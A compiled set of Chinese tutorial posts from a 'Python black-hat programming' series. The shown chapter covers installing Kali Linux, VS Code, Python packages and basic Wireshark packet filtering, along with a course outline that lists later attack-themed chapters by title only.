
  
    
      
    

Python 黑帽编程大纲（变化中）

来源：玄魂工作室

Python 黑帽编程大纲（预览版）

教程说明：

本系列教程，采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书，为了解决很多同学对英文书的恐惧，解决看书之后实战过程中遇到的问题，教程采用重实践轻理论的风格来呈现。由于原书很多地方过于简略，笔者根据实际测试情况和最新的技术发展对内容做了大量的变更，当然最重要的是个人偏好。教程同时提供图文和视频教程两种方式，由于教程在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论，请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

图1  xuanhun521 微信订阅号

第一章  基于Kali Linux 2016 搭建开发环境

1.1  虚拟机安装和配置Kali Linux 2016

1.2  使用VSCode 搭建Python开发环境

1.3 Python运行时与包管理工具

1.4  你必须知道的网络基础理论——请自学

1.5  利用Wireshark练习数据包解析
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2.0 第二章概述
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8.8  攻击程序：Blue Bug
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9.3  DHCP劫持

9.4  IP风暴
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由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注微信订阅号之后，回复请回复“Python”，获取更多内容。

（是我没说清楚，请在微信订阅号内回复Python，不要在此文章下回复，谢谢）


Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

0.1  本系列教程说明

本系列教程，采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书，为了解决很多同学对英文书的恐惧，解决看书之后实战过程中遇到的问题而作。由于原书很多地方过于简略，笔者根据实际测试情况和最新的技术发展对内容做了大量的变更，当然最重要的是个人偏好。教程同时提供图文和视频教程两种方式，供不同喜好的同学选择。由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码
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0.2 前言

关于虚拟机安装Kali Linux已经是老生常谈了，我之前的博文（Kali Linux渗透测试实战 1.2 环境安装及初始化）和视频教程（Kali Linux web渗透测试--初级教程1）都详细的介绍过。相对之前的文章和教程，本次采用的系统是最新的Kali Linux 2016.1，在安装上没什么区别，配置上需要注意的是采用新的更新源。即便如此，为照顾没有接触过Kali Linux的同学，本篇文章还是会尽可能详尽的描述每一个步骤和细节。

至于为什么要使用Kali Linux来作为开发环境，简单的讲，Kali Linux为我们提供了Python黑帽编程所需要的所有测试工具，可以更加方便的搭建目标环境。

当然你可以选择你喜欢的系统，windows或者Mac OS，Ubuntu都可以，毕竟使用Kali Linux在更新源方面有一点点障碍，但是为了学习安全，客服这点障碍还是值得的。

1.1 映像文件下载

下载地址：https://www.kali.org/downloads/。

图2  Kali Linux 镜像列表

根据自己的环境选择对应的操作系统镜像，如果是64位系统请尽量下载64位文件。

1.2  系统安装

镜像下载成功之后，就该开始我们漫长的安装过程了。

首先打开VMWare，新建虚拟机。

图3 新建虚拟机

选择Custom，单击下一步，如图4。

图4

选择最新软件版本，下一步，如图5。

图5

选择从ISO文件安装系统，单击浏览安装，从文件选择框选择你的映像文件，如图6。

图6 选择映像文件

单击“下一步”。操作系统类型选择“Linux”和“Debian7-64bit”（32位系统选择Debian7）。

图7 选择操作系统类型

单击“下一步”。填写虚拟机名称，打开文件浏览对话框，选择文件存储位置。

图8 配置虚拟机文件存储

单击“下一步”。配置CPU和内核。如图9。

图9 配置CPU

这里需要根据你电脑的实际配置去衡量虚拟机的配置，否则会影响电脑的性能，接下来的内存配置也一样。

单击“下一步”。配置内存。

图10  配置内存

单击“下一步”，配置网络类型。如果你的网络支持DHCP，可以选择桥接方式，否则选择NAT方式。

图11 选择网络类型

单击“下一步”，选择IO类型。

图12 选择IO类型

单击“下一步”，选择磁盘类型。

图13 选择磁盘类型

单击“下一步”，选择新建虚拟磁盘，如图14。

图14

单击“下一步”，设置磁盘大小和存储方式。这里一定要注意，磁盘大小一定要大于20G，否则会出现无法启动的问题。我在之前的博文里也提到过这个问题，不过还是被很多同学忽略。如图15。

图15  设置虚拟磁盘大小

单击“下一步”，设置虚拟磁盘文件存储位置。如图16。

图16 设置虚拟磁盘存储位置

单击“下一步”，如图17。

图17  确认信息

单击“完成”，如图18，启动虚拟机。

图 18

选择 Graphical install，如图19。

图19

回车。选择语言，如图19。

图20  选择语言

单击“Continue”。选择“是”,如图21。

图21

单击“继续”。选择国家和地区，如图22。

图22

单击“继续”。配置键盘类型，如图23。

图23

单击“继续”。安装程序开始加载组件，如图24。

图24

组件加载完成后开始配置主机名，按个人喜好随便填写就好了，如图25。

图25

单击继续。配置域名，随便填写就可以了，这些之后需要的时候都可以改，如图26.

图26  配置域名

单击“继续”。为root账号设置密码，如图27。

图27  设置root密码

单击继续。系统会设置时间，完毕之后，选择磁盘分区方法。这里根据个人能力来选择，可以默认整个磁盘，也可以自定义分区。如图28.

图28

单击继续，选择分区。这里我选择的是整个磁盘安装，所以只有一个选项，如图29。

图29

单击继续。选择默认项就可以了。如图30.

图30

单击“继续”，选择写入磁盘，如图31。

图31

单击“继续”，选择“是”，如图32。

图32

单击“继续”。开始安装系统，如图33。

图33

安装过程中，会出现是否选择网络镜像的选项，记得一定要选“否”，如图34。

图34

单击“继续”。选择是，将grub安装在MBR记录上。如图35。

图35

单击“继续”。选择唯一的设备。如图36.

图36

单击“继续”。MBR写完之后，出现安装过程完成的界面。如图37.

图37

单击“继续”。结束安装进程。系统重启，如图38.

图38

安装过程正式结束，我们输入账户root和安装过程中设置的密码进入系统，开始配置阶段。

图39

图40

1.3  系统配置

由于我们当前的需求是开发Python程序，所以系统配置相对渗透测试会简单很多，只需要配置更新源，更新系统，安装VMWare增强工具，配置共享目录。

1.3.1 更新系统

打开终端，输入如下命令：

vim /etc/apt/sources.list



清空sources.list文件内容，输入如下内容：

#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib



保存并退出，先如下命令：

apt-get update & apt-get upgrade



结果如图41所示。

图41

见到图42的画面中的“完成”两个字的时候，证明这一轮更新数据的获取完成了。

图42

这个时候画面会静止在这，不要等，直接回车即可，如图43.

图43

现在真正到了更新系统的核心阶段了，执行以下命令：

apt-get dist-upgrade



在确认界面输入“Y”，如图44。

图44  确认更新

接下来是下载阶段，直到下载完成，如图45。

图45 更新包下载完成

紧接着会出现更新声明的内容，一路回车到100%，然后输入“:q”,进入软件包更新环节，如图46,47所示。

图46

图47

部分软件包可能会有提醒，手动选择下就ok了。

由于网络原因，很可能会更新失败，这个时候通过VPN或者Socks代理进行FQ就很有必要了。如果你觉得在Kali里完成FQ有困难的话，请参考我之前的文章《kali linux 2.0 虚拟机通过宿主机代理实现科学上网-第二弹》，可以保证你能顺利更新。整个更新是一个漫长的过程，要做好充分的心理准备。

所有软件包更新成功后，输入如下命令，重启系统。

reboot

图48

1.3.2 安装vm-tools

重新进入系统后，我们会发现，现在系统桌面环境的分辨率无法调整，只有一个小窗口，虚拟机和外部系统无法共享剪贴板，无法设置共享目录。我们需要安装open-vm-tools来解决这些问题。

启动终端，输入如下命令：

apt-get install open-vm-tools-desktop fuse

图49

安装成功之后，重启系统，就能看到效果了。

1.4  小结

本文作为Python黑帽编程的第一节，好像做了很多与编程本身无关的事情，但是通过Kali系统的安装和更新，我们已经安装了Python以及常用的Python模块，一大批使用Python开发的安全工具。

下一节，我们在Kali上安装Vs Code，用VS Code构建Python开发环境。

1.5 篇文章对应视频教程获取方法

     在微信订阅号中，查看文章历史，找到对应的本篇文章，文章结尾有获取视频教程的方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取视频教程和其他相关内容。

 系列文章目录：

Python 黑帽编程大纲（变化中）


Python黑帽编程1.2  基于VS Code构建Python开发环境

Python黑帽编程1.2  基于VS Code构建Python开发环境

0.1  本系列教程说明

本系列教程，采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书，为了解决很多同学对英文书的恐惧，解决看书之后实战过程中遇到的问题而作。由于原书很多地方过于简略，笔者根据实际测试情况和最新的技术发展对内容做了大量的变更，当然最重要的是个人偏好。教程同时提供图文和视频教程两种方式，供不同喜好的同学选择。由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码
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0.2 前言

在上一节，Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016中，历尽艰辛，我们安装、更新和配置了Kali Linux系统，本节在此基础上安装VS Code和它的Python插件，用来开发和调试Python程序。

1.1  安装VS CODE

在Kali系统中打开VS Code网站：https://code.visualstudio.com/。

图2

下载.deb格式的软件包。

图3

下载完成后，启动终端，到下载目录，查看下载的文件。

图4

接下来使用dpkg来安装软件包，输入如下命令：

dpkg - i  [软件包名称]

图5

安装成功之后，到软件列表页，搜索VS Code。

图6

图7

搜索到VS Code之后，单击打开。

图8

输入“CTRL+SHIT+P”打开命令窗口，然后输入“extension install’”进行搜索。

图9

单击“extension install”选项，打开扩展命令窗口，输入Python进行搜索。

图10

在结果列表中，我们选择使用量最高的Python扩展。

图11

安装成功之后，需要重启VS Code令扩展生效。

图12

图13

软件启动之后会自动打开一个文件。

图14

“CTRL+S”保存该文件到某个目录下。

图15

然后切换到VS Code的文件夹选项，打开包含该文件的文件夹。

图16

从文件夹中选择我们保存的文件，添加简单的测试代码。

图17

在代码行的左侧栏处单击就可以为该行代码添加断点。

打开调试信息栏。

图18

单击上方的调试配置按钮，选择调试环境为python。

图19

图20

然后在从应用类别选择调试的类型。

图21

点击调试按钮，启动调试。

图22

图23

调试过程中我们可以可以使用上方的调试工具栏进行单步、过程、回退等操作，可以在左侧查看堆栈、变量等信息。

图24

1.2 小结

本小节主要介绍了我们在本系列课程中使用的开发工具VS Code的安装和相应插件的安装方式。

在Kali Linux上我们不必手动安装Python和pip等模块，但是这些也是学习Python开发的基础，同时在其他系统上，也需要我们手动安装。下一节，对Python运行时和模块安装做简单的介绍和练习。

1.3 本篇文章对应视频教程获取方法

在微信订阅号中，打开菜单“网络安全”-->“python 黑帽编程”，找到对应的本篇文章，文章结尾有获取视频教程的方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取视频教程和其他相关内容。


关于《Python黑帽编程1.2》引发的基础知识与工具的争议

上一篇文章《Python黑帽编程1.2
基于VS Code构建Python开发环境》在知乎发布后，首先引起了大家关于工具的争议。开发Python的环境和工具不是单一的，否则Python就不会这么流行。我在文中也提到，大家可以选择自己喜欢的环境，把我的教程只当做一个参照也可以。不同系统、不同开发经历的人，都有自己比较偏好的工具。我在windows上只喜欢臃肿的Visual Studio，在Linux上喜欢使用Aptana Studio和WingIDE。这次课程，我选择了自认为更轻量的VS Code，没想到招致很多非议，对于各种工具的偏好我都表示尊重。还是那句话，大家选择自己喜欢的环境和工具，这不影响继续学习。

其次，尽可能详细的把每个点说清楚，是我的行文习惯，也是我的文章面对的人群的需求。有人批评说，一个工具的插件安装讲这么长，知乎的水平越来越低了。我可以把一切和基础有关的东西都抛给读者，去百度吧，但是我的整个系列课程都是基础课，难道什么都不用写了吗？为了维护教程的完整性，为了对更广大的入门读者负责，我还是会坚持我的风格。至于说拉低了知乎的档次，污了您的眼是我的错，我抱歉。但我不会离开，下次请您绕道。

玄魂不才，不是什么大牛，但是愿与越来越多的Python编程爱好者共同学习，进步。这篇小文没有回击与讽刺的意思。一是解释清楚，以免有误人子弟之嫌；二是好的意见我定会虚心接受，但是不欢迎无厘头的评论。

最后再说一句，VS Code 不是Visual Studio，没有用过的，不要当成Visual Studio来评论。


Python黑帽编程1.3  Python运行时与包管理工具

0.1  本系列教程说明

本系列教程，采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书，为了解决很多同学对英文书的恐惧，解决看书之后实战过程中遇到的问题而作。由于原书很多地方过于简略，笔者根据实际测试情况和最新的技术发展对内容做了大量的变更，当然最重要的是个人偏好。教程同时提供图文和视频教程两种方式，供不同喜好的同学选择。

0.2 前言

前两节里，我们完成了操作系统和工具的安装。事实上可以进入到正式开发阶段了，Kali Linux系统自带了Python运行时及easy_install 和pip等基础组件，包括我们之后的课程里要用到的pypcap等网络包也都一并存在了。

这是Kali带来的好处，但是对初学Python的同学来说，我想有必要把Python运行时和模块安装的基础知识讲解清楚。

1.1 安装PYTHON

首先到Python官方网站https://www.python.org/下载python的安装包。

转到下载页面。

下载页面会自动识别我们使用的操作系统，上面的下载按钮下载下来的就是识别之后的对应系统的软件包，在下面有其他系统的链接。这里需要注意的是python的两个主要 版本分支，一个是2.7.*一个是3.*.*版本。我们的系列课程推荐使用2.7，所有代码在3.0以上版本的环境中运行结果未知。你也可以选择使用最新的Python版本来编写程序，但是也一定要单独安装2.7版本，保证学习进度。

下载并保存文件。下面我们说说在不同系统下如何安装python,当然安装Python的方法也很多，恕我不能一一道来。

1.1.0  Kali Linux下安装Python

Kali Linux系统自带，无需安装，略。

1.1.1 windows下安装Python

浏览器打开https://www.python.org/downloads/windows/，来到windows安装包的下载页面。

找到我们要下载的2.7.12下载安装包。

下载之后，点击安装。安装过程中，可以选择讲Python写到系统Path变量里，方便在任何地方访问Python。

安装完成后，测试。

1.1.2 Mac下安装Python

Mac下安装和Windows上差不多，先到Mac安装包的下载页，找到安装包，下载。

下载之后进行安装。

安装成功之后，启动终端进行校验。

1.1.4 Linux下安装Python

我使用的Linux为CentOS，安装方法为源码安装（任何系统都能采用源码安装的方式，Linux上这种方式更常见，不过在windows上源码安装要更麻烦一些），其他Linux操作系统方法类似。

在CentOS下安装Python，根据你所使用的系统的环境不同，需要安装的内容也许会不一样，主要的区别在需要的依赖项。不过解决方法也很简单，就是缺什么装什么了。下面的过程是在我的测试机上完成的。

首先确认是否安装了GCC，如果没有的话，使用yum进行安装。

# yum install gcc



GCC安装完成之后，我们新建一个目录，用来下载Python源码，命令如下。

# mkdir src
# cd src
# wget https://www.python.org/ftp/python/2.7.12/Python-2.7.12.tgz



下载完成之后，解压，依次执行configure、make和install进行安装。

# tar xzf Python-2.7.10.tgz



# cd Python-2.7.10



# ./configure



# make install



安装完成之后，启动终端输入下面的命令，看是否安装成功

# python –version



1.2  模块的安装

Python的模块（module）在概念层面和其他语言并无太大的区别，都是为了逻辑上划分代码功能，将概念上高内聚的代码放在一起组成一个模块。在表现形式上，python的模块是以文件作为分割的，简单讲，模块是包括 Python 定义和声明的文件。文件名就是模块名加上 .py 后缀。模块的模块名（做为一个字符串）可以由全局变量 __name__ 得到。

关于模块的编写、导入、加载机制等内容，在后面的课程会详细介绍。

使用Python编程来解决实际问题的便利性，很大程度上得益于众多的Python模块，这些模块由官方、社区或者其他第三方开发者提供。我在之前的非本系列的一篇博文中（《kali linux Python 黑客编程1 开发环境初始化》）介绍过Python里安装模块的三种方法，这里再拿出来重新讲解下。

1.2.1  手动安装

第一种方法是手动下载软件包，运行安装程序来安装。

比如我们想要使用Python-nmap组件去解析nmap的扫描结果，我们先手动下载安装包。

wget http://xael.org/pages/python-nmap-0.6.0.tar.gz



解压：

root@kali:~# tar xzf python-nmap-0.6.0.tar.gz
root@kali:~# ls
paros          python-nmap-0.6.0         公共  视频  文档  音乐
phpmyadmin.sh  python-nmap-0.6.0.tar.gz  模板  图片  下载  桌面
root@kali:~# cd python-nmap-0.6.0/
root@kali:~/python-nmap-0.6.0# ls
CHANGELOG   gpl-3.0.txt  MANIFEST.in  nmap.html  README.txt        setup.py
example.py  Makefile     nmap         PKG-INFO   requirements.txt
root@kali:~/python-nmap-0.6.0#



运行setup.py，执行安装。

python setup.py install



root@kali:~/python-nmap-0.6.0# python setup.py install
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'bugtrack_url'
  warnings.warn(msg)
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/nmap
copying nmap/__init__.py -> build/lib.linux-x86_64-2.7/nmap
copying nmap/test_nmap.py -> build/lib.linux-x86_64-2.7/nmap
copying nmap/nmap.py -> build/lib.linux-x86_64-2.7/nmap
running install_lib
creating /usr/local/lib/python2.7/dist-packages/nmap
copying build/lib.linux-x86_64-2.7/nmap/__init__.py -> /usr/local/lib/python2.7/dist-packages/nmap
copying build/lib.linux-x86_64-2.7/nmap/test_nmap.py -> /usr/local/lib/python2.7/dist-packages/nmap
copying build/lib.linux-x86_64-2.7/nmap/nmap.py -> /usr/local/lib/python2.7/dist-packages/nmap
byte-compiling /usr/local/lib/python2.7/dist-packages/nmap/__init__.py to __init__.pyc
byte-compiling /usr/local/lib/python2.7/dist-packages/nmap/test_nmap.py to test_nmap.pyc
byte-compiling /usr/local/lib/python2.7/dist-packages/nmap/nmap.py to nmap.pyc
running install_egg_info
Writing /usr/local/lib/python2.7/dist-packages/python_nmap-0.6.0.egg-info



1.2.2 easy_intall

easy_install 是Python setuptools系列工具的中的一个工具，可以用来自动查找、下载、安装、升级依赖包。

在Kali Linux中Python setuptools默认已经被安装，其他Linux系统中使用apt-get或者yum都可以安装。

apt-get 安装命令为：

sudo apt-get install python-setuptools



yum 安装命令为：

yum install setuptool



考虑到windows，这里再介绍一个通用的方法，适合所有操作系统。

首先下载ez_setup.py （https://bootstrap.pypa.io/ez_setup.py）文件，然后执行下面的命令即可：

python ez_setup.py



下面我们使用easy_install 来安装Python的一个模块，可以用来对dpf进行解析和安全测试的pyPdf。

easy_install pyPdf



easy_install当然也提供了卸载模块/包的功能。但是必须要注意的是，该模块/包必须要在easy-install.pth 有相关信息，换句话说，也就是要使用easy_install安装的，才可进行卸载。比如命令:

 easy_install -m redis



这样就会将Python中的redis模块卸载。

其他命令参数，这里就不详细介绍了，请各位同学自行查看。

1.2.3  pip

好消息是，最新版的Python2.x和3.x都已经集成了python-pip。

下面我们通过 pip 来安装github3模块。

pip install github3.py



root@kali:~/python-nmap-0.6.0# pip install github3.py
Downloading/unpacking github3.py
  Downloading github3.py-0.9.5-py2.py3-none-any.whl (109kB): 109kB downloaded
Downloading/unpacking uritemplate.py>=0.2.0 (from github3.py)
  Downloading uritemplate.py-0.3.0.tar.gz
  Running setup.py (path:/tmp/pip-build-LRgVNm/uritemplate.py/setup.py) egg_info for package uritemplate.py
   
Requirement already satisfied (use --upgrade to upgrade): requests>=2.0 in /usr/lib/python2.7/dist-packages (from github3.py)
Installing collected packages: github3.py, uritemplate.py
  Running setup.py install for uritemplate.py
   
Successfully installed github3.py uritemplate.py
Cleaning up...



下面再列举一些其他的常用功能，同样的更详细的用法留给各位同学自学。

如果要安装特定版本的package，通过使用==, >=, <=, >, <来指定一个版本号。例如：

pip install 'Markdown<2.0'
pip install 'Markdown>2.0,<2.0.3



如果有requirement的话，直接pip install -r requirements.txt就可以安装所有的了。

卸载软件，使用uninstall参数：

pip uninstall SomePackage 



更新软件：

pip install --upgrade SomePackage 



显示已经安装的文件：

pip show --files SomePackage



显示过期的安装包：

pip list --outdated 



1.3 小结

  本节课程依然简单，但是是你必须要掌握的。之后的开发课程中，我们会不厌其烦的使用包管理工具来安装我们需要的模块。

1.4  本节对应视频教程获取方法

在微信订阅号（xuanhun521）依次打开“网络安全”—>”Python黑客编程”，找到对应的本篇文章的1.4节，有具体获取视频教程的方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程1.5  使用Wireshark练习网络协议分析

1.5.0.1  本系列教程说明

本系列教程，采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书，为了解决很多同学对英文书的恐惧，解决看书之后实战过程中遇到的问题而作。由于原书很多地方过于简略，笔者根据实际测试情况和最新的技术发展对内容做了大量的变更，当然最重要的是个人偏好。教程同时提供图文和视频教程两种方式，供不同喜好的同学选择。

1.5.0.2 本节前言

在上一节，笔者罗列的学习网络编程应该了解或掌握的网络基础知识，这其中直接和编程相关的是网络协议。抓包分析，一直都是学习网络协议过程中，理论联系实践的最好方式，而目前最常用的抓包工具就是Wireshark。

随着我们教程的深入，我们也会使用Wireshark来准备测试用的数据包，校验程序的准确性，编写程序之前做人工分析以提供准确的解决问题思路或算法。

Wireshark的详细使用和高级功能，建议有精力的同学去阅读《Wireshark网络分析实战》一书，本节内容以基础和暂时够用为原则。

1.5.1 WIRESHARK 简介

Wireshark 是当今世界上被应用最广泛的网络协议分析工具。用户通常使用Wireshark来学习网络协议，分析网络问题，检测攻击和木马等。

Wireshark官网为https://www.wireshark.org/。

图1 Wireshark官网

进入下载页面，我们可以看到Wireshark提供windows和Mac OS X的安装文件，同时提供了源码供在Linux环境中进行安装。

图2

下载和安装，这里就不详细说明了，安装程序还是源码安装1.2、1.4节课程中，有详细的演示，各位同学依样画葫芦即可。

在Kali Linux中，已经预装了Wireshark，只需要在终端输入Wireshark，即可启动程序。

root@kali:~# wireshark

启动之后，由于Kali默认是root账号，会引发Lua加载错误，直接忽略即可。

图3

1.5.2 抓包

启动Wireshark后，在主界面会列出当前系统中所有的网卡信息。

图4

在此处选择要监听的网卡，双击就会进入监听模式。还有另一个入口就是上方的配置按钮。

图5

打开配置界面，可以对网卡和数据包捕获做一些配置。

图6

选中网卡，点击开始。

图7

抓包的过程中，我们可以看到数据的变化。点击停止按钮，停止捕获数据包。

图8

在软件的核心界面就是数据包列表，显示的列有序号、时间、源IP、目标IP、协议、长度、基本信息。Wireshark使用不同的颜色对不同的协议做了区分。在视图菜单，我们可以找到和着色相关的命令。

图9

在图9所示的命令中，对话着色用来选择指定颜色对应的协议，着色分组列表用来隐藏非选中着色分组中的数据包，着色规则用来定义着色外观和包含的协议，如图10所示。

图10

1.5.3  包过滤

捕获的数据包通常都是比较庞大的，如果没有过滤筛选机制，对任何人来说，都将是一个灾难。Wireshark提供了两种过滤器：捕捉过滤器和显示过滤器。

1.5.3.1 捕获过滤器

捕捉过滤器是用来配置应该捕获什么样的数据包，在启动数据包捕捉之前就应该配置好。打开主界面“捕获”——>“捕获过滤器”。

图11

在捕获过滤器界面，我们可以看到已有的过滤器，可以修改删除它们，同时我们可以增加自己的过滤器。

图12

捕获过滤器语法：

图13

Protocol（协议）:可能的值: ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp.如果没有特别指明是什么协议，则默认使用所有支持的协议。Direction（方向）:可能的值: src, dst, src and dst, src or dst如果没有特别指明来源或目的地，则默认使用 "src or dst" 作为关键字。Host(s):可能的值： net, port, host, portrange.如果没有指定此值，则默认使用"host"关键字。Logical Operations（逻辑运算）:可能的值：not, and, or.否("not")具有最高的优先级。或("or")和与("and")具有相同的优先级，运算时从左至右进行。

下面我们具体看几个示例：

tcp dst port 3128



显示目的TCP端口为3128的封包。

ip src host 10.1.1.1



显示来源IP地址为10.1.1.1的封包。

host 10.1.2.3



显示目的或来源IP地址为10.1.2.3的封包。

src portrange 2000-2500



显示来源为UDP或TCP，并且端口号在2000至2500范围内的封包。

not imcp



显示除了icmp以外的所有封包。（icmp通常被ping工具使用）

src host 10.7.2.12 and not dst net 10.200.0.0/16



显示来源IP地址为10.7.2.12，但目的地不是10.200.0.0/16的封包。

如何使用定义好的捕获过滤器呢？点击下图所示的展开过滤器按钮。在过滤器列表中选择一个过滤器。再双击启动抓包，就会看到效果了。

注：
当使用关键字作为值时，需使用反斜杠“\”。"ether proto \ip" (与关键字"ip"相同)。这样写将会以IP协议作为目标。"ip proto \icmp" (与关键字"icmp"相同).这样写将会以ping工具常用的icmp作为目标。可以在"ip"或"ether"后面使用"multicast"及"broadcast"关键字。当您想排除广播请求时，"no broadcast"就会非常有用。
(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8


1.5.3.2  显示过滤器

显示过滤器用来过滤已经捕获的数据包。在数据包列表的上方，有一个显示过滤器输入框，可以直接输入过滤表达式，点击输入框右侧的表达式按钮，可以打开表达式编辑器，左侧框内是可供选择的字段。

图14

显示过滤器的语法如图15所示。

图15

 下面我们对各个字段做介绍：

1)        Protocol，协议字段。支持的协议可以从图14的编辑器中看到，从OSI 7层模型的2到7层都支持。

2)        String1, String2 (可选项)。协议的子类，展开图14中的协议的三角，可以看到。

图16

3) Comparison operators，比较运算符。可以使用6种比较运算符如图17所示，逻辑运算符如图18所示。

图17 比较运算符

图18 逻辑运算符

被程序员们熟知的逻辑异或是一种排除性的或。当其被用在过滤器的两个条件之间时，只有当且仅当其中的一个条件满足时，这样的结果才会被显示在屏幕上。

让我们举个例子：

"tcp.dstport 80 xor tcp.dstport 1025"



只有当目的TCP端口为80或者来源于端口1025（但又不能同时满足这两点）时，这样的封包才会被显示。

下面再通过一些实例来加深了解。

snmp || dns || icmp  



显示SNMP或DNS或ICMP封包。

ip.addr == 10.1.1.1



显示来源或目的IP地址为10.1.1.1的封包。

ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3或者目的不为10.4.5.6的封包。

ip.src != 10.1.2.3 and ip.dst != 10.4.5.6



显示来源不为10.1.2.3并且目的IP不为10.4.5.6的封包。

tcp.port == 25    



显示来源或目的TCP端口号为25的封包。

tcp.dstport == 25



    显示目的TCP端口号为25的封包。

tcp.flags  



  显示包含TCP标志的封包。

tcp.flags.syn == 0x02



显示包含TCP SYN标志的封包。

在使用过滤器表达式编辑器的时候，如果过滤器的语法是正确的，表达式的背景呈绿色。如果呈红色，说明表达式有误。

生成表达式，点击Ok按钮，回到数据包列表界面。

图19

此时表达式会输入到表达式栏中。

图20

回车之后，就会看到过滤效果。

此外我们也可以通过选中数据包来生成过滤器，右键——>作为过虑器应用。

图21

如图21所示，不同的选项，大家都可以尝试下，都是基本逻辑谓词的组合。比如我选择“或选中”，可以组合多个数据包的条件，如图22所示。

图22

图22中，选择了两个数据包，协议不同，自动生成的过滤表达式会按照你鼠标点击的位置所在的列字典作为条件来生成。图中我两次的位置都在Destination列上，所以生成的表达式是一样的。

1.5.4 数据分析

选中某一条数据项，会在如图23所示的两个区域，显示该数据包的详细信息。

图23

在图23中，1区为详细信息显示区域，这个区域内对数据包按照协议字段做了较为详细的分析。2区为16进制数据区。结合1区和2区，再结合书本上的知识，我们就可以进行协议分析的研究和学习了。图23中，显示的详细信息分别为：

1)        Frame:   物理层的数据帧概况

2)        Ethernet II: 数据链路层以太网帧头部信息

3)        Internet Protocol Version 4: 互联网层IP包头部信息

4)        Transmission Control Protocol:  传输层T的数据段头部信息，此处是TCP

5)        Hypertext Transfer Protocol:  应用层的信息，此处是HTTP协议

当我们点击1区的字段的时候，可以看到在2区对应的数据项，如图24。

图24

是时候把教科书搬出来了，在图25中，看到OSI七层模型和Wireshark数据包分析的对应情况。

图25（来源于网络）

再拿TCP数据包来举例，如图26。

图26（来源于网络）

用这样的方法来学习网络协议，是不是既简单又直观呢？还等什么，开始动手吧。

1.5.5  实例：分析TCP三次握手过程

（以下内容，部分来自http://www.cnblogs.com/TankXiao/archive/2012/10/10/2711777.html，做了一些修改，作者感谢原作者。）

图27（来源于网络）

图27就是经典的TCP三次握手，看它千百遍也不许厌烦，这是我大学时的必考题。

下面我们具体分析下实际三次握手的过程，打开Wireshark启动抓包，然后在浏览器打开我的博客http://www.cnblogs.com/xuanhun。

停止抓包后输入过滤表达式

ip.src == 192.168.1.38

过滤出连接到www.cnblogs.com的所有数据包。

图28

选中一个，右键然后点击"追踪流"——>TCP流。

图29

点击TCP流之后，会根据tcp.stream字段生成过滤表达式，我们可以看到这次HTTP请求基于的TCP三次握手的数据包，如图30所示。

图30

下面我们依次分析下序号为69、79、80的三个数据包。

图31

69号数据的TCP数据字段如图31所示，我们可以看到序列号为0，标志位为SYN。

图32

79号数据包的TCP字段如图32所示，序列号为0，Ack 序号加1为1，标志位为（SYN,ACK）。

图33

80号数据包TCP字段如图32所示，客户端再次发送确认包(ACK) SYN标志位为0,ACK标志位为1.并且把服务器发来ACK的序号字段+1,放在确定字段中发送给对方。

这样就完成了TCP的三次握手。

1.5.6 小结

  网络分析是网络编程的前置基本技能，本节课对网络协议分析工具Wireshark做了一个快速入门，希望同学们多多练习，增强这方面的能力。

Wireshark在数据包捕获和分析方面具有超强的能力，但是它不能修改和发送数据包，在Python里很容易实现数据包的修改和发送。从下一节开始，我们正式进入第二章——Python编程基础。

1.5.7  本节对应视频教程获取方法

在微信订阅号（xuanhun521）依次打开“网络安全”—>”Python黑客编程”，找到对应的本篇文章的1.5.7节，有具体获取视频教程的方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程 2.0 第二章概述

